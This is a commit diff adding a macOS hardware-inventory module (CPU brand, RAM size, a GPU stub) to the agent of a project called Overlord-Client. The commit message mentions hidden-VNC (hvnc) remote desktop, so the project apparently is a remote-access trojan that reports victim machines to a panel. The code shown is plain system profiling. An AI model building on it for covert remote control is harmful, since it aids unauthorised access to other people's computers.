fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory

Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go

@@ -0,0 +1,45 @@
+//go:build darwin
+
+package sysinfo
+
+import (
+	"fmt"
+	"strings"
+	"unsafe"
+
+	"golang.org/x/sys/unix"
+)
+
+func collectPlatform() Info {
+	return Info{
+		CPU: cpuName(),
+		GPU: gpuName(),
+		RAM: totalRAM(),
+	}
+}
+
+func cpuName() string {
+	name, err := unix.Sysctl("machdep.cpu.brand_string")
+	if err != nil || name == "" {
+		return "unknown"
+	}
+	return strings.TrimSpace(name)
+}
+
+func gpuName() string {
+	return "unknown"
+}
+
+func totalRAM() string {
+	mem, err := unix.SysctlRaw("hw.memsize")
+	if err != nil || len(mem) < 8 {
+		return "unknown"
+	}
+	total := *(*uint64)(unsafe.Pointer(&mem[0]))
+	gb := float64(total) / (1024 * 1024 * 1024)
+	if gb >= 1 {
+		return fmt.Sprintf("%.0f GB", gb)
+	}
+	mb := float64(total) / (1024 * 1024)
+	return fmt.Sprintf("%.0f MB", mb)
+}